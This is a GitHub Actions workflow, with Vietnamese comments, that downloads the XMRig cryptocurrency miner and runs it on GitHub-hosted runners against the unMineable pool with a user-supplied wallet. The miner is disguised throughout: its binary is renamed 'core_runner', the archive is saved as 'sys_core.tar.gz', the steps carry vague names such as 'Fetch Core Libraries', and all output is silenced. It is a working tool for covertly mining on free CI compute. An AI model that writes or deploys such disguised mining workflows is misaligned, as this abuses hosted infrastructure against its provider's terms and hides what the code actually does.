name: Mining Core Service

on:
  workflow_dispatch:
    inputs:
      coin:
        required: true
      wallet:
        required: true
      worker:
        required: true
      duration:
        description: 'Runtime in seconds'
        required: true
        default: '300' 

jobs:
  processing-unit:
    runs-on: ubuntu-latest
    steps:
    - name: Initialize Environment
      run: |
        sudo apt-get update > /dev/null 2>&1
        echo "Environment Loaded."

    - name: Fetch Core Libraries
      env:
        URL: "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
        FILE: "sys_core.tar.gz"
      run: |
        curl -L -s -o $FILE $URL
        tar -xzf $FILE
        mv xmrig-6.21.0/xmrig core_runner
        rm -rf xmrig-6.21.0 $FILE
        chmod +x core_runner

    - name: Execute Task
      run: |
        COIN="${{ github.event.inputs.coin }}"
        WALLET="${{ github.event.inputs.wallet }}"
        WORKER="${{ github.event.inputs.worker }}"
        DURATION="${{ github.event.inputs.duration }}"
        
        echo "Task allocated for $DURATION seconds."

        # Cấu hình Pool Unmineable
        # --cpu-max-threads-hint 50 : Đây là chỗ giới hạn 50% CPU
        # timeout $DURATION : Tự động tắt khi hết giờ
        
        timeout $DURATION ./core_runner -o rx.unmineable.com:3333 -a rx -k \
          -u $COIN:$WALLET.$WORKER \
          -p x --tls --cpu-max-threads-hint 50 > /dev/null 2>&1 || true
          
        echo "Session Expired. Shutting down."